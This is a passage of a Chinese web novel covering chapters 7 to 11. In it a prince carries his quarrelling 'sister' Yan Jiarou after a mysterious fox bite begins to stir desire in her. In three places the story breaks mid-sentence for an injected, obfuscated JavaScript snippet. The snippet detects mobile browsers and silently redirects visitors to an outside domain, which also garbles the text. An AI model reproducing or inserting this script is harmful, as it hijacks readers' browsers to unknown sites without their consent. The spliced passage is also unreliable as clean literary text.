起先萧彻并不反驳,直到听到那句“若不是你,那狐狸怎会咬我”,这才抬起了头,皱眉反问:“我作为兄长,没看护好你,致使你受了伤,这确实是我的错处。可那野狸咬你,又并非我教唆,与我有什么干系?” “就是有干系!”颜嘉柔凑近了他,她的眼睛是标准的荔枝眼,圆润饱满,瞳仁又黑又大,看人时眼神异常得亮。 这样的眼睛,瞧着并不是多精明的眼睛,算不得聪明,但却足够可爱漂亮,惹人怜爱。 配上她白皙圆润的鹅蛋脸,颊边笑时显露的梨涡,更显娇憨甜美。 只可惜,萧彻鲜少能看到她的梨涡——她并不怎么对他笑。 她便是用这样一双明亮的眼睛,极为认真地看着他。 本来是怪力乱神、玄而又玄的东西,此时却被她说得煞有其事:“我说了,那狐狸爱慕你,它看你的眼神,就如同那些世家小姐看你的眼神,一般无二。” “它看不惯我欺负你,所以才咬我为你报仇呢,就像那些世家女给我使绊子一样,类似的招数,我早就领教过了,又怎会不清楚——萧闻祈,这全是托你的福。” 萧彻眉心蹙起,目光随之冷淡了下来:“托我的福?颜嘉柔,你非要这么阴阳怪气么?并非是我做的事,却偏要怪到我头上,你就这么讨厌我?人也就罢了,一只狐狸,你说它咬你也是因为我,不觉得荒谬?" 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“跟朝中那帮玄陇党派的大臣一样,觉得我是亡国之后,生来不吉,又背负着祸国传言的诅咒,即便是皇子,那也是为人所不齿的。不比太子和二哥,是清河崔氏,崔皇后所出,血脉正统尊贵……呵,怪不得。” 他面无表情地看了她一眼,霍然起身,居高临下地道:“既然如此,我就不在这儿碍你的眼了,免得给你招来什么厄运。” 说完转身就走。 颜嘉柔呆住了。 等回过神来后,连忙朝着他的背影大叫道:“喂,萧彻,你不管我了么?你要……把我一个人扔在这儿?” 她的腿被那该死的狐狸狠狠咬了一口,实在痛得厉害,若是无人搀着,根本寸步难行,如今这里只有她和萧彻,若是萧彻不管她,便再也没有旁人管她了。 萧彻一走,她岂非要一个人留在这儿?这荒山野岭的,指不定有什么猛兽出没,就算没有别的猛兽,单是之前的那只坏狐狸,若是萧彻走后,它又回来找她麻烦,往她另一条腿上咬上一口,也够她受得了! 不要了,她实在害怕…… 她开始后悔激怒萧彻了,其实那并非是她的本意,不过是与他吵架时一时口不择言罢了…… 萧彻脚步一顿,刚想回一句他已经听到脚步声渐近,想必是父皇的人过来寻他们了,他在或不在,她都不会没人管,可还没说出口,便听到身后传来少女断断续续的呜咽声:“三哥哥,我错了好不好……别不管我……我害怕……” 他回头一看,见方才还趾高气扬的小姑娘此时已完全换了一副模样,眼圈泛红,浓睫上坠着泪珠,一双黑白分明的眸子水光潋滟,蒙着一层雾气,仿佛远山含黛,楚楚动人。 贝齿轻咬着红润鲜妍的唇瓣,雪白饱满的一张脸,婴儿肥未褪,脸颊鼓鼓的,像一颗剥了壳的荔枝,甜美多汁。 哭腔带着轻颤地叫着他,仿佛是他怎么欺负她了似得。 萧彻眉尾几不可察地一抬,唇角微哂。 这就是颜大小姐,倒是能屈能伸。 三哥哥?她有多久没这么叫过他了? 也只有有求于他的时候,她才会这般半是撒娇半是恳求地叫他。 只是尽管洞悉了她的把戏,小姑娘家家,且是个不太聪明的小姑娘,那点心思全写在脸上了,能瞒得过谁呢?可她叫得……实在好听。 他到底还是朝她走近了,唇边噙了一丝笑,问她:“叫我什么?” 颜嘉柔雪白的面颊上渐渐浮上一点胭脂色,跟死对头服软总是丢脸且难堪的,可眼下她有求于他,只得不情不愿地又叫了他一声:“三哥哥……” 萧彻便喜欢看她这般不情不愿,却又有求于他,不得不对他低头的样子,心中的气已消了大半,但还是半屈膝配合她蹲下身,故意问她道:“不是觉得我血脉不吉,是天生的祸水,会给人带来厄运么?” “没……没有……怀璧其罪,又怎么能怪你呢?” 萧彻嗤了一声:“你话锋倒转得快,便这么怕被我丢下么?” 他慢慢笑了起来,他笑起来是极好看的,她每见他笑一次,便要在心里感慨一下兰陵一族的传言果真不虚。 此刻见他对着自己笑,颜嘉柔却觉预感不好。 果然见他眉尾一扬,道:“那……求我啊。” 8. 第 8 章 “你……”可恶。 萧闻祈这个人,还是一如既往的讨厌!得寸进尺! 不过罢了,她想,反正她已经对他低头了,既然如此,也不差再多低一点儿:“求……求你了……” 萧彻抬眼,唇边的笑意更深了:“今日倒乖觉。” 他看着她:“我扶着你,能走么?” 颜嘉柔将手搭在他的胳膊上,尝试着借他站起来,可刚一用力,伤口处便传来一阵钻心的疼,疼得她小脸煞白:“不……不能……疼……” 颜嘉柔向来娇气,有此反应他也不意外,转过身朝她压低了背,道:“上来,我背你。” 萧彻宽肩窄腰,肩背宽阔,线条也好看,看上去很好靠稳当的样子……但是,真要让他背她么? 正犹豫间,脚一动,便是一阵要命得疼…… 她确实吃不了一点苦,在受罪和丢脸之间,她还是很不争气地选择了后者。 ——反正今天丢的脸已经够多了,也不差这么一点儿。 她挪过了身子,颤颤地伸出手臂,圈住了萧彻的颈项…… 萧彻勾唇,托着颜嘉柔的身子起身。 颜嘉柔软绵绵地趴在他的脊背上,下巴枕在他的肩颈处。 鼻尖萦绕着他身上淡淡的沉水香,颜嘉柔耳廓微热,费力地撑起身子,想要不挨着他那么近。 萧彻挑眉:“怎么?” “没……没什么……”颜嘉柔红着脸小声嘟囔道:“我怕我太压着你……你更觉得我重了……” “什么?”萧彻轻笑:“你才多重一点儿?背你跟拎只小兔子有什么区别?” “我还不至于那么虚。” 颜嘉柔懵了一瞬,声音闷闷的,敢怒不敢言:“……那你之前,还说我胖……明明是你自己说的。” “笨蛋,逗你的话,你也尽信?小孩子家家,肉多一点,也并没有什么不好。” “什么啊。”颜嘉柔控诉道:“我不是小孩子了好不好,我已经及笄了!” “哦?”萧彻不知道想到了什么,眸光暗了一瞬,若有所思道:“是长大了。” 既然萧彻不觉得她重,她也就没什么顾忌地压在他身上,他的肩宽,背薄,身上的气息又好闻,靠在上面还是很惬意的。 人一放松下来,话就开始变得多,颜嘉柔不知道想到了什么,忽然问:“萧彻,你是不是喜欢沈嘉琅?” “什么?”萧彻皱眉:“哪个沈嘉琅?没印象,谁跟你说我喜欢她?” “你不记得她啦?国子监祭酒沈大人的嫡次女呀,你上回校场赛马,中场歇息时,她还给你递过茶水呢。” 萧彻语气冷淡:“不记得了。提她做什么?” “唔,我以为你喜欢她呢,她是那群世家小姐中身前最瘦的了。” “什么?”萧彻愣了一下,忽然反应过来,好笑道:“你还记得我说你身前胖的那件事?你就那么在意?” 颜嘉柔“哼”了一声,扭过脸道:“我才没有,我只是随口问问!”又慢慢把脸转过脸,到底还是好奇:“你不是不喜欢身前胖的么,沈嘉琅身前瘦,你怎的也不喜欢?” “谁说我不喜欢身前胖的?” 颜嘉柔眨了眨眼,懵懂道:“你刚才明明……” 萧彻轻笑:“都说了,逗你的话,怎可尽信……我不喜欢的,从始至终都是你对我……算了。总之你方才那般姿态,避我如蛇蝎,我当然也不会说什么好话了,难不成我还要说喜欢么。皇妹,我还没那么贱。” 颜嘉柔似懂非懂:“那你其实就是喜欢了?”问完却恨不得咬掉自己的舌头,真奇怪,他喜不喜欢她的……那个样子,关她什么事?她根本一点都不在意。 她自觉问错了话,趁萧彻尚未反应过来前连忙咳嗽一声转移话题:“萧闻祈,说起来,你刚才瞧见那只野狐的模样了么,它的额头有个流焰印记,这是寻常狐狸所没有的。我看它可不是一只普通的野狐。” "都说骊山是龙脉所在,灵气汇聚之地,有不少珍奇走兽,大有灵性,说不定那只野狐便是头灵兽,能通人性,真的,它看你的眼神我在许多人眼里看到过,譬如方才说的那个沈小姐……” “啊,说不定那只野狐再过几年便能幻化成人,做狐狸精呢,我看啊,届时它一定会下山来找你,你怕不怕?" 萧彻轻扯了嘴角,只道:“皇妹,少看点话本吧,你说你的脑子原本就算不上聪明,再看那些乱七八糟的话本,岂不是雪上加霜么。” “萧闻祈,你笑话我!我是认真的!那狐狸浑身上下透着古怪,你究竟看没看到它的模样,通体雪白,偏额头一枚流焰印记,鲜红如血,盯久了,那枚印记竟像是会动,真像是燃烧的流焰,你不觉得奇怪么?” “而且它看你的眼神,真如女子一般,这样的眼神我见过太多,不会弄错的。” 萧彻原本只当她是戏言,但见她语气认真,也不由得开始回忆起那只野狐的模样,这一回忆,却真觉出几分眼熟。 他似乎,曾经见过这只狐狸。 不对,熟悉的不止是那只狐狸,还有那句“它看你的眼神,竟如女子一般”……是了,这句话,燕骁也曾对他说过。 那是一年前的事情了。 一年前他也曾上骊山狩猎,随行带了燕骁,燕骁是将门之后,他的父亲燕山教过萧彻骑射,算是他的老师,他和燕骁一起长大,自幼熟识。 后来,燕山战死,燕家兵权被收,燕骁也因为得罪了崔皇后的外戚差点被流放,还是萧彻的生母江贵妃江沉鱼出面替他求情,虽则后宫不得干政,但魏元帝对江贵妃的宠爱已经到了无有不应的地步,何况燕骁与萧彻又有这样一层少时情谊在,江贵妃以此为由,倒也师出有名,教人抓不到错处。 说起来,魏元帝对江沉鱼的宠爱,已经到了匪夷所思的地步。 她不用勾心斗角,只需站在那里,就可以得到皇帝的全部宠爱。 若是没了江沉鱼,恐怕魏元帝连这皇帝也不想当,这天下也不想要了。 正因如此,以崔守阶为首的玄陇党派,虽然对江沉鱼有诸多不满,但因深知魏元帝的秉性,到底也只得作罢。 只一点,太子人选必须是嫡出,这点他们不肯有丝毫的让步。 魏元帝爱屋及乌,自然是想立萧彻为储,但阻力太大,满朝官员,但凡是立下开国战功的,哪个手上没有沾染过前歧皇室的血? 而萧彻血统成谜,若江沉鱼真是前朝的歧国公主,那让她的儿子当了皇帝,魏朝岂不是乱套了吗? 若传言是真,萧彻身上有着两朝皇室的血脉,一旦他登基为帝,前歧兵不血刃,不费一兵一卒便能复辟,那置他们这些开国功臣于何地?这岂不是天大的笑话? 这也是玄陇党派所万万不能容许的。 魏元帝无法,只得立萧珏为太子,双方各退一步,这已是当下对双方最好的局面。 不能立最爱的儿子为储,魏元帝虽觉遗憾,但也仅限于遗憾而已,毕竟他最爱的人,是江沉鱼,只要她能一直陪在他身边,旁的倒也没什么太大的要紧。 甚至于因此觉得亏欠江沉鱼,而对她越发宠爱。 有次江贵妃染了风寒,虽是小病,但传了许多太医,吃了许多药,却一直不见好,再拖下去,只恐小病拖成病,魏元帝心急如焚,不知从哪里听来一个偏方,说是要以龙肉为药引,再辅以药材,方能药到病除。 可龙不过是传说中的珍禽异兽,世上又有几人见过真龙? 寻不到真龙,就取不到药引,救不了他的爱妃,走投无路之时,竟想到自己贵为人皇,岂不正是真龙天子吗? 遂剜下自己手臂上的肉替江沉鱼煎药,龙体贵重,一丝一毫都不可有闪失,可他竟然为了一则不知真假的偏方如此戕害自己的身体,这事传出去后,满朝哗然。 吏部尚书兼右仆射崔守阶,不仅位于云霄阁三十六功臣之首,更是与魏元帝相识于微时,是布衣之交,情谊非同一般,后来魏元帝又立了崔氏女为后,两人关系更进一步。 平时魏元帝在政事上有何决策,都会征询他的意见,唯独事情牵扯到江贵妃,他始终一意孤行。 崔守阶知道这事后,劝谏无果,气得在家病了整整七日,七日不曾上朝。 这事传到民间,当时引起不小轰动,许多女子以此试探夫君的真心,帝王之爱尚且能割肉救妻,你难道还不能吗? 可事实上,这世间千万男儿,却并没几个男子能做到如此地步。 魏元帝对江贵妃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791813|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宠爱可见一斑。 她保下燕骁后,燕骁成了萧彻府中的随侍,平素陪他骑马练剑。 等风头过去后,她又帮他在军中谋了个职位,后来有一次魏元帝在巡视军营时遇刺,据说是有前朝的余孽埋伏,正值危难之际,燕骁替他挡开了那一剑,他也因救驾有功被擢升为亲勋翊卫校尉。 燕骁是将门之后,自幼习武,一柄燕家枪使得出神入化。 燕山因军功累累引得魏元帝忌惮,被卸兵权,但燕骁那时年纪尚小,并未太露风头,魏元帝对他印象本就不是十分深刻,救驾后更是消除了其对他燕家后人的防备。 燕骁之后一步步取得他的信任,又有江沉鱼为其美言,不久便被升为亲勋翊卫中郎将,掌管宫中北衙禁军。 至此之后燕骁与江贵妃母子渊源更深,燕骁既是萧彻的玩伴、挚友,亦是他母亲的心腹、臂膀。 去年燕骁陪萧彻一同前往骊山狩猎,萧彻机缘巧合下从一头鬣狗嘴下救下一只狐狸,也是鬼使神差,见那狐狸眼中含泪,似乎颇有人性,便动了恻隐之心,弯弓一箭射穿了鬣狗的头颅。 而被他救下的那只狐狸,通体雪白,偏额间一枚流焰印记,灼灼欲燃,如今回想起来,似乎正是咬伤颜嘉柔的那一只。 而燕骁在看到那只狐狸时,也说了与颜嘉柔一样的话——“你看那只狐狸看你的眼神,竟如那些女子一般,我说萧闻祈,你的桃花不光越来越多,还越来越邪门了啊。” 萧彻懒得搭理他,掀了眼皮瞥了他一眼,只道:“我看你才是越来越邪门了,那只是一只狐狸,你疯了么?” “诶,话可不能这么说,”燕骁忽然凑近,压低了声音,颇有几分神秘地道:“你忘了么,这可是骊山,传言龙脉所在之地,大有灵性,这山上的飞禽走兽可与寻常山头的大不一样,它们常年吸收龙脉之气,或已修成半精半怪,也未可知啊。” 萧彻抬头,认认真真地看向燕骁,眉尾抽搐了下:“你疯了么燕骁,这样神神鬼鬼的话你也信?” 燕骁只诡秘莫测地一笑:“这大千世界,无奇不有,有些事情你未曾见过,便断定没有,有时也未免太过武断了——你以后,就知道了。” 燕骁早年跟随燕山游历四方,看遍山河,他去过西北的绝域,也见识过蜀中的风土人情,甚至还去过湘川苗疆,见过巫蛊祝祷,他的见识的确非常人能比。 原本他说的一些异闻萧彻自然是信几分的,但说那只狐狸看向他的眼神,如女子一般,实在太过荒谬。 一只狐狸而已,怎么可能用那样的眼神看他?难不成修炼成精怪了? 燕骁却道:“还真未必……我从前跟随父亲游历蜀中的时候,听一位老者讲过,这世上但凡灵气汇聚之地,往往有一些走兽能通人性,修成半精半怪,其中狐狸尤甚,有一种白狐,通体雪白,但额间却有流焰印记,这正是修成半精半怪的标识。” “啧,这个描述,不正与刚才那只狐狸一般无二么,我可听说,那种狐狸颇有淫性,最喜俊美男子,见之非得与之交合,否则决不罢休,完了萧闻祈,你还救了它,它不看上你才怪,你可当心它来找你,哈哈哈……” 萧彻:“…………” 他冷冷淡淡地看他一眼,再也懒得搭理他,径直往前走:“有病就去治。” 燕骁笑着牵马追了上去,仍半真半假地道:“别不信啊,我还听说,这狐狸因只修得半精半怪,化不了人形,便将对男子的瘾念附予旁的女子身上,如何附予呢,或咬一口,或挠一下,这瘾念便如附骨一般,融入那女子骨髓,使其对那男子欲罢不能,再也戒他不掉。就像是湘黔一带的蛊术,最神奇不过。” “你是说这狐狸会下蛊?燕骁,这话也亏你能编的出来——我说,你不去茶楼当说书先生,讲些志怪异谈,实在是屈才了。” “别不信啊,蜀中的地怪志上可都有记载……可见不是子虚乌有……” …… 萧彻回过神,后知后觉反应过来,方才那狐狸,似乎正是去年与燕骁遇见的那一只…… 回想起燕骁那一番话,当时只觉得荒唐,很快便抛诸脑后,如今机缘巧合想起来,依旧觉得荒唐。 因此他也并没有多想,只是觉得再遇见那只狐狸颇为巧合。 9. 第 9 章 背上的颜嘉柔絮絮地跟他说着什么,似乎是在为刚才的口不择言而别扭地道歉:“……其实,你的血统也没什么不好,兰陵族人,一个个都是又好看又聪明,骑射也好,总之凡事都异于常人,别人羡慕还来不及呢……” “至于祸国的诅咒,这种子虚乌有的东西,我是不信的,萧闻祈,你难道要信这种东西,把自己困在可笑的谣言里么?” “什么祸国诅咒,不过是兰陵一族的女子,一个个都生得绝色,令君王魂牵梦绕,君王自己不勤政事,贪恋美色,一旦亡国,那些后世的史官便把过错归结于女子身上,说她们是祸水,诱使国家灭亡,口诛笔伐,才会一步步演变成祸国的诅咒……” “后来兰陵一族建了歧朝,皇室大多都是兰陵族人,自那以后,这样的流言才渐渐止息,谁想到,歧二世而亡,于是流言卷土重来,变本加厉……” “可是说起来,是君王自己不勤勉英明,又关那些兰陵女子什么事呢,所以……嗯,总之,我没有瞧不起你的血统!” 萧彻弯起唇角:“你是,在跟我道歉么?” 很多年前,颜嘉柔也对他说过类似的话,只不过那时候年纪小,倒是说不出这么一套一套的,只不过意思没有变——他没有错,也没有低人一等,他的血脉也从不卑贱。 那个时候刚好流言传出来,说江沉鱼是前朝的歧国公主,于是连带着他,一时之间也都成了前朝余孽,原本他们兰陵一族的身份,已经让他们备受偏见,这个传言一出来,他们母子二人在宫中更是举步维艰。 魏元帝彼时注意力都放在怎么保护他的爱妃身上,至于被爱屋及乌的萧彻,自然无暇顾及。 在宫中,人人都可以明着暗着欺负他。 反正当时所有人都认为,江贵妃虽然颇受帝宠,但以她的身份,魏元帝很难顶住压力,她迟早都会被废——既然江贵妃都会被废,那么萧彻的下场可想而知。 宫中人人都是拜高踩低,一个注定被废弃的小主子,连奴才也比不上,何况兰陵一族,本就祸国不详,江贵妃妖媚惑主,她的儿子长大后也必定不是善茬。 宫中生活如履薄冰,压抑沉闷,萧彻的身份和血统好像给了他们一个可以作恶的正当借口,他们肆无忌惮地向着萧彻宣泄着经年累月的压抑。 加上他那个时候不过是个孩童,并无反抗能力,只能任人欺凌。 那一次,是颜嘉柔救了他。 粉雕玉琢的一个小女童,不知是什么来头,只隐隐听说其父对圣上有大恩,圣上对她十分看重,宫人自知得罪不得,一时做鸟兽状散去。 他永远不会忘记那一天。 一脸稚气、刚学会走路的小女娃,用软乎乎的嗓音安慰他,在得知他被欺负的原因后,说道:“哥哥别难过,那都是他们的错,我爹爹说了,唔……” “对,万物有灵,众生平等,怎么能因为你是什么兰陵族人就欺负你呢,你可是皇子,怎么会卑贱呢,宫中的皇子和公主不是最尊贵的么?你可不要因为他人的话自己看不起自己……这不是你的错……” 对,这不是他的错,血统与生俱来,并不是他能决定的。 他忽然如释重负,豁然开朗。 他抬头看向她。 淡如水的阳光照在她的脸上,她对着他甜甜地笑,现出颊边一侧浅浅的梨涡。 他忽然生了一种晕眩,阳光似乎透过她的脸直直地射进他心底最隐秘的角落,驱逐了所有的阴霾。 也就是从这一刻起,在他心里,她便与旁人不一样了。 那时的她就像一个小太阳,替他驱散了乌云,只可惜她这颗小太阳,很快就温暖别人去了。 他已经很久没感受过她的暖光了。 直到今日,才依稀又得以重温。 他便知道,即便这些年他们之间的关系越来越紧张,她也总是对他说不出什么好话,但是骨子里却一直没变,她永远都是当年那个心地善良,愿意毫不吝啬地给予他善意、抚平他内心伤痕的小姑娘。 颜嘉柔别扭的道歉被他拆穿,脸上挂不住,鼓着脸颊扭过头道:“才没有,我只是在安慰开解你好不好……我只是实话实话,兰陵族人的血统,本来就没有那么不堪,如今不也有许多人喜欢你么……” 萧彻扯了唇角:“安慰开解?你说有许多人喜欢我,那也只不过是看我母妃圣眷正浓,父皇也偏爱我几分,所以不会再像从前那般敢光明正大地瞧不起我……” 他讽刺一笑:“抑或是觉得她们看不起的兰陵血统,皮相却有几分可取之处——可归根结底,并没有半分真心。” “谁说没有真心的?”颜嘉柔忽然放轻了声音,附在他耳边,一本正经地道:“我对你,就是十足十的真心。” 萧彻脚步一顿,林间微风拂过,一瞬间,似乎万籁俱寂,他只听得到耳边细微的风声。 他忽觉喉头凝涩得厉害,滚动了一下喉结,良久才道:“你说什么?” 颜嘉柔噗嗤一声笑了出来,神情有一种得逞之后的得意之态:“真心讨厌你呀!谁教你总欺负我!” 萧彻唇角平直,状似不以为意地轻嗤了一声:“我就知道。” 颜嘉柔脸颊鼓鼓的:“哼,你怎么对我的,你当然知道了!” “不过是礼尚往来,皇妹,你整天都围着太子转,对我可也没好到哪里去。” 颜嘉柔一怔:“那……那还不是你欺负我……算啦,不说这个了……”反正他们两个谁都不会主动低头,这是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791814|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死结,没什么好说的。 况且她如今趴在他的背上,若是与他吵起来,也实在没什么气势,想到这里,不免又觉得面子上过不去。 虽则今日脸都已经丢尽了,可事到临头,却仍是想挽回一点颜面,便伏靠在他耳边,咳嗽了一声清了清嗓子,放下话道:“萧闻祈,你也别太得意,今日是我第一次求你,也一定是最后一次!” 萧彻轻笑了声,只道:“皇妹,话可别说得太早了。毕竟世事无常,往后的事,谁又能说得准呢。” “或许,你往后有的是求我的时候,也未可知啊。” 颜嘉柔哼了一声,不以为然道:“乱讲,才不会有这种可能!” 萧彻:“好吧,我的皇妹说什么,便是什么了。” —— 两人后续有一搭没一搭地聊着,气氛倒缓和了不少,他们两个,也少有这样心平气和讲话的时候。 颜嘉柔忽然想起一事,便趁着这个当口问他道:“……对了,萧闻祈,你为什么说我还是一点没变,从小到大都没良心……你这话好奇怪,难道我小时候你便救过我么?而我并没有报恩?” 萧彻脚步忽然停了下来,下颌收紧,然而片刻后又舒展开了,只突地一声轻笑,依旧是懒洋洋的腔调,让人分辨不清这话中真假:“是又如何?不是又如何?” 颜嘉柔檀口微张,水眸透出点迷茫:“萧彻……” 萧彻背着她继续往前,淡淡道:“都是许多年前的事了,如今再问,还重要么,譬如我方才又救了你,也没见你我之间有什么变化……更何况,有些事情,我并不屑去做。” 颜嘉柔似懂非懂,却也没继续问了。 不知道为什么,突然一阵极浓的困意袭来,她整个人变得非常倦怠,实在是支撑不住,不得不整个压在他的背上,脑袋枕在他的肩颈上,含糊不清地道:“萧彻,我好困,你借我靠一会儿好不好……” 这是她在清醒时绝不会做的。 萧彻翘起唇角,挑了下眉,颇有几分兴味地道:“好啊,我借你靠,那你——打算怎么还我?” 往常他这么说,颜嘉柔肯定会和他拌几句,可这回他等了半天,却迟迟没有动静。 萧彻“嗯?”了一声,偏过头去看她:“皇妹?” 却发现她呼吸平稳,居然在说完那句话后,已经睡着了。 这本就有几分不寻常,更不寻常的是,萧彻原本以为,她能在这么短的时间内睡着,想必是累到了极点,轻易不会醒来,不料他才往前走了没几步,背上忽然起了一阵动静。 ——颜嘉柔醒了。 萧彻蹙眉:“怎么这么快又醒了?” 他因背对着她,并没有注意到她此刻异样潮红的脸色。 10. 第 10 章 “我……” 颜嘉柔甫一张口,便漏出一声破碎的呻//吟,她连忙咬紧了唇瓣。 她是被身上突然泛起的异样感受给折磨醒的。 从伤口处开始,渐渐蔓延到四肢百骸,像是有千万只蚂蚁在游走,泛起一种陌生而隐秘的痒意与躁动。 她的眼神逐渐变得迷蒙湿//^润,眼尾泛着薄红,整个脑袋一片混沌,下巴枕在萧彻的肩上,歪过头,唇瓣无意识地轻擦着他的颈侧。 萧彻神情微滞,偏过头去看她:“怎么了?” “我……我难受……” “难受?” 她嗓音本就轻软,如今带着不明显的哭音,如泣如诉,又仿佛是在撒娇,小猫似得挠过心间:“痒……难受……” “痒?伤口痒?”萧彻皱眉,喃喃了句:“奇怪,才刚被狐狸咬伤,伤口该是疼,怎么反倒是痒?难不成那狐狸真有古怪?” 他曾经听闻一些野兽得了疫症或某种怪病,便能过人,被咬一口亦能感染,颜嘉柔觉得伤口痒,会不会便是被过了某种怪病,念及此,萧彻脸上神情冷凝了几分,原本背着她,故意磨着慢慢踱,此刻却加快了脚程。 罢了,还是早些与他们汇合吧,萧珏他们,该是带了随行御医过来。 若是萧彻此刻回头看一眼颜嘉柔,便该知道她此刻满脸潮红、眼含春情的样子 颜嘉柔似乎更难受了。 身子不断地磨着、蹭着萧彻的脊背,以此来缓解身上那种不为人道的躁动。 然而只是饮鸩止渴。 短暂的纾解之后,随即席卷全身的,便是更加汹涌的渴念,无论如何都按捺不下去。 可没人教她该怎么做,如何才能彻底纾解。 她不知道她到底怎么了。 她快急哭了。 背上不断被绵软娇柔磨蹭着,萧彻只当她伤口实在痒得厉害,终于哑声提醒她道:“听话,别乱动。” 颜嘉柔浓睫乱颤,缓缓睁开湿^闰的双眼,努力地想要找回一丝清醒。 可情况似乎更糟了。 从她这个角度,可以清晰地看到萧彻的侧脸和颈项。 兰陵族人的血统在皮囊上的确有着得天独厚的优势。 难怪那位崔氏贵女崔令颐,一边作为玄陇党派为首的崔守阶之女,自恃身份贵重,认为非崔皇后的嫡出血脉不能与之匹配,随着他父亲一般地看不起萧彻的异族血脉,一边却有意无意地打探关于他的消息,创造与他的偶遇,只为多瞧他几眼。 偏是见到了,也从不说些小女儿情态的倾慕之语,只会不阴不阳地提醒他,他的血统污点。 而她作为凌霄阁第一功臣的嫡女,又出自“天下第一高门”博陵崔氏,又是如何身份贵重,血统高贵。 如今门阀当道,就连皇室也要仰仗世家门阀,而五姓七望,以博陵崔氏为首。 她的确身份尊贵,只是这般对萧彻,也不知道用意何为,对他到底是一种怎样复杂而又矛盾的情感。 只不过无论她怎么做,萧彻也从来不会被激怒——他甚至,都不愿正眼看她一眼。 对于像崔令颐这一类的人,他不会像欺负颜嘉柔那般逗弄她们几句,与她们拌嘴,笑着看她们生气,张牙舞爪的模样。 他对她们,是一种完全无视的漠然。 一丝一毫的注意力都不愿施舍。 于是便更得她们诋毁。 颜嘉柔回过神来,视线落在他的侧脸,目光散开,竟渐渐生出几分晕眩之感。 她看着他—— 眉目几可入画,往下是高挺的鼻梁,清冷精致的下颌,形状优美、紧抿着的薄唇。 宛如一幅精心描绘的工笔画。 新雪似得皮肤透露出一种禁欲的冷感,不笑时气质更是偏冷,仿佛雪山雾凇,却鬼使神差地诱人浮想联翩——这样一个人,眉眼含春,染上情^欲时又该是怎样一副光景。 她以前单知道他生得好看,可却第一次,对他产生了遐想。 她这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791815|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么了? 她明明该是讨厌他的。 到底是哪里出了问题? 她总觉得今日的萧彻比平日里更加迷人。 就连身上淡淡的沉水香,明明是极为清淡、有着令人清心凝神功用的熏香,为什么她闻着,却莫名觉得浑身躁动难安,犹如虫蚁爬身。 ——她终于意识到她如今的情态像什么了,像是那些瘾君子,犯了瘾念时急切地想要用药,可明明药就在眼前,却不知该如何使用。 是,她已经意识到萧彻便是她如今的药了。 如今的萧彻,在她眼里,一呼一吸间,都对她有着致命的吸引。 他今天,到底有哪里不同?竟然令她这样的失态? 她无瑕深究,只隐隐感觉到,她如今迫切地想要从萧彻身上得到什么。 到底是什么呢? 她呼吸变得愈发急促,面色绯红,眼神迷蒙地看着他,软声唤他:“萧彻……我……我想……” 萧彻偏过头看她:“什么?” 却不想颜嘉柔方才一番动作,已挨得他极尽,他如今一偏头,侧脸猝不及防地撞上她的唇。 柔软湿^润得一塌糊涂。 带着一丝不寻常的灼热。 萧彻眼尾扫向她,喉结耸动。 颜嘉柔忽然注意到他的喉结微红,以及……好大…… 萧彻的喉结,似乎比太子哥哥和萧衍的都要大,这难道也是兰陵族人异于常人的地方么…… 那还有别的地方也这般比旁人大么。 她胡思乱想了一阵,视线却始终黏在他的颈侧,白皙的脖颈上,红透的喉结愈发引人注目。 喉结的附近,青筋隐伏,凝神细看,里面仿佛有血液在缓缓流动…… 她的瘾念在一瞬间忽然叫嚣到极致,若说原本身上不过是虫蚁爬行,那么如今便是虫蚁啃啮,那种隐秘的痒意与躁动成倍地翻涌,继而席卷全身,最终化作一股强烈的渴求。 她好渴……好想尝点什么…… 11. 第 11 章 缓缓凑近萧彻的脖颈,雪白的贝齿轻碰他的颈侧,还未及合下,便听耳边传来萧彻的嗓音,听不出什么情绪,只略挑了眉,问她:“皇妹,你做什么?” 这冷不丁的一句,猛然让她找回了几分清醒。 是啊,她在做什么? 她方才……竟然想咬萧彻? 她是疯了么? 她又不是属狗的,做什么要咬萧彻? 更何况男女有别,她怎么能…… 今天的她怎么会这么不正常,方才竟然会对萧彻产生那些的遐想…… 究竟是怎么了…… 不,不是她的错,一定是他勾引她…… 对,一定是这样的,他占了血脉的便宜,天生便有这样的本事…… 可……可他从来不屑于对她做这种事,更何况他今天也并没有什么特殊之举…… 她一时思绪纷繁杂乱,一方面是身体的渴念疯狂叫嚣,另一方面却是仅存的理智在苦苦维系。 紧紧攥着的手指,指关节已然泛白,白皙的额头上不断渗出汗水。 偏他还毫无知觉,半偏过头,唇角含了点些微的笑意,撩了眼皮,还以为是她又要玩儿什么恶作剧:“对了,你方才说,想要什么?” 